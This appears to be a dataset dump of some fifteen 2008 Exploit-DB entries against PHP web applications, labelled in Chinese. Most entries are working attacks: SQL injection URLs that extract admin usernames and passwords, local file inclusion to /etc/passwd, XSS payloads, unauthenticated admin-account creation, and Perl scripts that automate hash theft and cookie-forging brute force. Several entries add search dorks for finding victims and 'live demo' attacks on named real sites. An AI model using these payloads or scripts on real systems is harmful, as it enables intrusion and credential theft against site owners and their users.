QLWD/code_shield huggingface dataset:
标题: iBoutique 4.0 - 'cat' SQL Injection EDB-ID: 6444 CVE: 2008-4354 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 - rsauron - baltazar - sinner_01 - C1c4Tr1Z - beenu# 
#  ---  FeDeReR -  DON - OutLawz - MAGE -JeTFyrE - Bond        #  
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l and  h4x0r 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com, vaibhavaher@gmail.com
# 
# Share the c0de! 
# 
################################################################ 
# 
# Exploit: iBoutique v4.0 (product&cat) Remote SQL Injection Vulnerability
#
# App Name: iBoutique v4.0 
# 
# App Home: http://www.netartmedia.net/iboutique/
# 
# App Demo: http://www.netartmedia.net/iboutique/demo.html
#
#################################################################
# Dork: Powered by iBoutique v4.0
# 
#  
# POC: 
# For username :
#         
# http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users--
#
# For password :
#   
#       http://site.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users--
#       
#
#
# Live Demo:  
#      http://www.wscreator.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,username,5,6+from+websiteadmin_admin_users--
#
#      http://www.wscreator.com/iboutique/index.php?mod=products&cat=-18+union+all+select+1,2,3,password,5,6+from+websiteadmin_admin_users--
#  
# 
#  
#
#
# 
################################################################ 
# Vuln Discovered 12th Sep 2008 

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6444
标题: pForum 1.30 - 'showprofil.php' SQL Injection EDB-ID: 6442 CVE: 2008-4355 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: #=====================================================================================================
#Powie's PHP Forum <= v1.30 (showprofil) Remote SQL Injection Exploit
#=====================================================================================================
#
#Critical Level : Dangerous
#
#Venedor site : http://www.powie.de
#
#Version : v1.30
#
#=====================================================================================================
#
#DORK : "pForum 1.30"
#
#
#Exploit :
#--------------------------------
#
#FOR USER: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,username)+FROM+pfuser+limit+1,1--
#FOR PASS: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,pwd)+FROM+pfuser+limit+1,1--
#FOR MAIL: showprofil.php?id=1+LIMIT+1,1+UNION+SELECT+concat_ws(0x3a,emai)+FROM+pfuser+limit+1,1--
#
#=====================================================================================================
#Discoverd By : -tmh-
#
#Contact : tmh[at]sys-flaw.com
#
#Greetz To : n00bor , Five-Three-Nine , J0hn.X3r , electron1x , meckl, Floo , -Patrick_B ,
#            Loader007 , bizzit , Sys-Flaw , Codesoft , Free-Hack  abcdef ,
#
#
#=====================================================================================================

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6442
标题: Easy Photo Gallery 2.1 - Arbitrary Add Admin / remove user EDB-ID: 6437 CVE: 2008-4167 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: #----------------------------------------------------------------
#
#Script : Ezphotogallery 2.1
#
#Type : Vulnerabilities ( Add Admin user/Remove user)
#
#Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="
#
#----------------------------------------------------------------
#
#Discovered by : Stack
#
#----------------------------------------------------------------
#
#Script Download :  http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip
#
#----------------------------------------------------------------

Exploit :
 http://site.il/useradmin.php
how to use exploit
in Add user select
----------------------------------------
Simple example by Stack user :d :d
----------------------------------------
        Add user
Name:  Stack 
Password: passstack 
E-mail: Stack@hotmail.fr 
Private: yes or no  
Administrator:  yes
now stack username is a administrator user
----------------------------------------
       Remove user
User:  chouse the user and click remove
----------------------------------------

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6437
标题: SkaLinks 1.5 - 'register.php' Arbitrary Add Editor EDB-ID: 6445 CVE: 2008-7010 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: ||          ||   | ||       
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   . 

################################################################
#           SQL Injection
#
#           Found by ::: mr.al7rbi
#
#           Contact :::   n16 [at] live.com
#
#           my Group :::  mr.al7rbi team
#
################################################################

Title:   SkaLinks - Link Exchange Script
d0rk: 2005. Powered by SkaLinks - Link Exchange Script
DESCRIPTION:
add admin
EXPLOITS:
http://example.com/admin/register.php
example:
http://xxx.dk/partner/admin/register.php
Special  Greetz for :  tryag.cc/cc
Greetz : noaf_07 & aloosh  &  ili The General ili & fhad & all tryag members & all muslims

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6445
标题: WebPortal CMS 0.7.4 - 'download.php' SQL Injection EDB-ID: 6443 CVE: 2008-4345 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-12 漏洞利用脚本: #!/usr/bin/perl
# --==+============================================================================+==--
# --==+            WebPortal <= 0.7.4 Remote SQL Injection Exploit                 +==--    
# --==+============================================================================+==--
# 
#  [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
#  [+] Discovered On: 12 Sep 2008
#  [+] Download: http://webportal.ivanoculmine.com/download.php?mid=14
#  
#  [*] SQL Injection
#  [+] download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1
#  [+] get file "download.php" and you can read 
#  
#  [*] Exploit:
#  
 # ----------------------------------------------------------
 # WebPortal <= 0.7.4 Remote SQL Injection Exploit 
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms 
 # ----------------------------------------------------------

 use strict;
 use LWP::Simple;


 my $domain = shift @ARGV or banner();
 my $injsql = "/download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1";

 if(get($domain.$injsql) =~ /([0-9a-f]{32})/)
 {
   print "[+] Exploit Succesfull!\n";
   print "[+] MD5 Password: ${1}\n";
 }
 else
 {
   print "[!] Exploit Failed!\n";
   print "[!] Site Not Vulnerable!\n";
 }

 sub banner
 {
   print "[+] WebPortal <= 0.7.4 Remote SQL Injection Exploit\n";
   print "[+] Usage: ${0} http://[host]\n";
   return exit;
 }

# milw0rm.com [2008-09-12] URL: https://www.exploit-db.com/exploits/6443
标题: Autodealers CMS AutOnline - 'id' SQL Injection EDB-ID: 6433 CVE: 2008-4074 2008-4073 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: ############################################################################################################
[+] Autodealers CMS AutOnline (id) SQL Injection Vulnerability
[+] Discovered By ZoRLu
[+] home: z0rlu.blogspot.com & yildirimordulari.org & r00tsecurity.org & darkc0de.org                    
[+] Greetz: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs   
[+] trt-turk@hotmail.co  &  zorlu@w.cn                 
############################################################################################################
[+]
[+]
[+]
[+]

   exploit:
http://localhost/script_path/index.php?page=detail&id=[SQL]

[+]
[+]
[+]
[+]

   [SQL]=
ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+]
[+]
[+]   
[+]

   demo:
http://www.aartsvastgoed.nl/aankoopvastgoed/index.php?page=detail&id=ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+] 
[+]
[+] 
############################################################################################################

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6433
标题: Sports Clubs Web Panel 0.0.1 - 'id' SQL Injection EDB-ID: 6435 CVE: 2008-4592 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: ###################################################################################
  #                                                                                 #
  #   ...::::: Sports Clubs Web Panel 0.0.1 SQL Injection Vulnerability ::::....    #           
  ###################################################################################

Virangar Security Team

www.virangar.net


--------
Discoverd By :virangar security team(Zahra:zh_virangar)

special tnx :my master hadihadi

tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007

& all virangar members & all hackerz
-------
vuln codes in /include/draw-view.php:

line 22:   if(isset($_GET['id']) || isset($_POST['id'])) {
lin 23:      $teamid = $_GET['id'].$_POST['id'];
...
...
line 43:  $drawTeam = mysql_query("SELECT * FROM draw WHERE dteam = '$teamid' ORDER BY ddate");
----------
vuln codes in /include/draw-edit.php

line 1:       $id = $_GET['id'];
line 2:       $editDraw = mysql_query("SELECT * FROM draw WHERE did='$id' LIMIT 1");
--------
exploit:
http://site.com/[patch]/?p=draw-view&id='/**/union/**/select/**/1,2,3,version(),5,6,User,password%20,9/**/from/**/mysql.user/*
http://site.com/[patch]/?p=draw-edit&id='/**/union/**/select/**/1,2,3,4,5,version(),7,8,9/*
-------------
young iranian h4ck3rz

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6435
标题: D-iscussion Board 3.01 - 'topic' Local File Inclusion EDB-ID: 6430 CVE: 2008-4075 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: ############################################################################################################
[+] D-iscussion Board 3.01 Local File Inclusion
[+] Discovered By SirGod 
[+] MorTal TeaM                     
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,str0ke                      
############################################################################################################

Download : http://dino.shiftedphase.com/comp/downloads/forum.zip

[+] Local File Inclusion


   PoC :
 
     http://[target]/[path]/general/index.php?topic=[LocalFile]%00

   Example :

     http://127.0.0.1/3.01/general/index.php?topic=../../../../autoexec.bat%00

############################################################################################################

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6430
标题: Yourownbux 4.0 - 'cookie' Authentication Bypass EDB-ID: 6438 CVE: 2008-4492 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: #!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

#+-------------------------------------------------------------------------------------------------+-#
#+ Yourownbux v4.0                   ------------------------------------------------------------+--+
#+ Cookie Modification Exploit -----------------------------------------------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------------------------------------------++
#
#+ Dropsec.com
#
#+ Modify The Line 39, Adding More User's that can be the admin username------------+
#+
# + Gr33tz: Celciuz, OzX, N.O.X, MurdeR, Syst3m-c0d3r && All Friends --++
#+-------------------------------------------------------------+----------------------------------------#



system("clear");

print "
# Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com 
\n\n";
print "Target [ Example: www.sitedemo.com ] :\n> ";
$target = <STDIN>;
chop($target);

if($target =~ m/www\.(.*)\.(.*)/) {

$other = $1;
check1($target);

} else {
print "\nInvalid Target.";
exit();
}

sub explote {

@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other"); 
# Add Posible Users.

$check = shift;

foreach $user (@tryusers) { 

$pass = "Tec-n0x";

print "\n\tTrying > $user\n";

 $browser = LWP::UserAgent->new();
 $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
 $browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
 $get = HTTP::Request->new(GET => $check);
 $resp = $browser->request($get);
 $content = $resp->content();

@code = split("\n",$content);

 foreach $checka (@code) {

   if($checka =~ m/Emails|Served|Workload|Overview/) {

system("clear");

print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";

$vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
$vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";

print "

+------------------------------------+
+ $vd\n+ $vda
+------------------------------------+
";


$yes = 1;

exit();

}
}
}

if($yes != 1) {

print "\n\n\nExploit Failed";

exit();

}

}
sub check1 {

$target = shift;

$check = "http\:\/\/$target\/admin\/index\.php";

 $browser = LWP::UserAgent->new();
 $browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
 $get = HTTP::Request->new(GET => $check);
 $resp = $browser->request($get);
 $content = $resp->content();

@code = split("\n",$content);

 foreach $checka (@code) {

   if($checka =~ m/You must login as administrator to access this page/) {

print "Check 1 [ OK ]\n";

$success = 1;

explote($check);

} 

}

if($sucess != 1) {

print "Failed";

exit();

}

}

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6438
标题: PHPWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion EDB-ID: 6425 CVE: 2008-4702 2008-4591 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: ----------------------------------------------------------------

Script : PhpWebGallery 1.3.4

Type : Multiple Vulnerabilities (XSS/LFI)

Rist : High

Google Dork : inurl:"picture.php?cat=" "Powered by PhpWebGallery 1.3.4"

----------------------------------------------------------------

Download From : http://puzzle.dl.sourceforge.net/sourceforge/phpwebgallery/phpwebgallery-1.3.4.tar.bz2

----------------------------------------------------------------

Discovered by : Khashayar Fereidani Or Dr.Crash

My Official Website : HTTP://FEREIDANI.IR

Team Website : Http://IRCRASH.COM

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

----------------------------------------------------------------

Local File Inclusion Vulnerabilities :

Lfi 1 : http://example/include/init.inc.php?user[language]=../../[LFI]

Lfi 2 : http://example/include/init.inc.php?user[template]=../../[LFI]

Lfi 3 : http://example/include/isadmin.inc.php?user[language]=../../[LFI]

-----------------------------------------------------------------

Cross Site Scripting Vulnerabilities :

Xss 1 : http://example/admin/include/isadmin.inc.php?lang[access_forbiden]=<script>alert(123);</script>

Xss 2 : http://example/admin/include/isadmin.inc.php?lang[ident_title]=<script>alert(123);</script>

----------------------------------------------------------------

                        Tnx : God

          HTTP://IRCRASH.COM HTTP://FEREIDANI.IR

----------------------------------------------------------------

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6425
标题: Sports Clubs Web Panel 0.0.1 - 'p' Local File Inclusion EDB-ID: 6427 CVE: 2008-4592 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: --==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Local File Inclusion Vulnerability          +==--    
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

 [*] Vulnerability:
 
 [*] LFI
 [+] index.php?p= [File %00]
 [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6427
标题: Zanfi CMS lite / Jaw Portal free - 'page' SQL Injection EDB-ID: 6423 CVE: 2008-4159 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +    Zanfi CMS lite / Jaw Portal free SQL Injection Vulnerability    +
        +                                                                    +
        +                   Discovered by Cru3l.b0y                          +
        +                                                                    +
        +                     WwW.DeltaHacking.Net                           +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


  
AUTHOR : Cru3l.b0y
DATE   : 10 sep 2008
SITE   : WwW.DeltaHacking.Net


#####################################################
APPLICATION : Zanfi CMS lite / Jaw Portal free
DOWNLOAD    : http://www.zanfi.nl/down.php?file=ZanfiCmsLite.rar
VENDOR      : http://www.zanfi.nl/
Dork        : Powered by: Zanfi Solutions
#####################################################


[+] SQL     : DBpAGE&pageid=-1'+union+select+version(),user()/*
[+] Exploit : http://[t4rg3t]/[p4th]/index.php?page=[SQL]




################################################################
# Greetings: str0ke, Dr.Trojan, all member in DeltaHacking.Net #
################################################################


WebSite: WwW.DeltaHacking.Net  &  WwW.w3bsecurity.iR

Contact: Cru3l.b0y[at]gmail.com

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6423
标题: Autodealers CMS AutOnline - 'pageid' SQL Injection EDB-ID: 6426 CVE: 2008-4074 2008-4073 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-11 漏洞利用脚本: ################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Zanfi CMS lite / Autodealers CMS AutOnline (SQL Injection)
#
# Vendor: http://www.zanfi.nl/autodealerscms.php
# 
# Demo: http://autonline.zanfi.nl/
###########################################################
#
# d0rk:Powered by: Zanfi Solutions
#.  
# 
###########################################################
 
     Exploit:-
 http://www.site.com/[path]/index.php?page=DBpAGE&pageid=-1'+union+select+null,concat(version(),0x3a,database(),0x3a,user())/*

     
     
     Live Demo: 
 http://www.aartsvastgoed.nl/aankoopvastgoed/index.php?page=DBpAGE&pageid=-1%27+union+select+null,concat(version(),0x3a,database(),0x3a,user())/*


###########################################################
#
#  Bug discovered : 10 Sep.2008
###########################################################

# milw0rm.com [2008-09-11] URL: https://www.exploit-db.com/exploits/6426
标题: AvailScript Jobs Portal Script - 'jid' SQL Injection EDB-ID: 6417 CVE: 2008-4373 类型: WEBAPPS 平台: PHP 发布日期: 2008-09-10 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
++++++++++++++++++++ Script information++++++++++++++++++++++
=======================================================


<<->> script        : Availscript Jobs Portal Script

<<->> script site : www.availscript.com             



=======================================================
++++++++++++++++++++++++ Exploit +++++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/job_seeker/applynow.php?jid=-99999+union+select+0,01,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+admin--



=======================================================
+++++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> InjEctOr5 TeaM  :: InjEctOr $ haker-b0y $ Mr.Dangers $ Eng.Silent Night $ QalbHamad $ fisher762 $ Sp1d3r_N3T $ ToTaL $ z3rO s3v3n $ RooT-Hacker

<<->> Best Team : Then TrYaG Te4m & there Forum

<<->> My  best old freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka $ nicehacker $ anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero

<<->> All muslims

# milw0rm.com [2008-09-10] URL: https://www.exploit-db.com/exploits/6417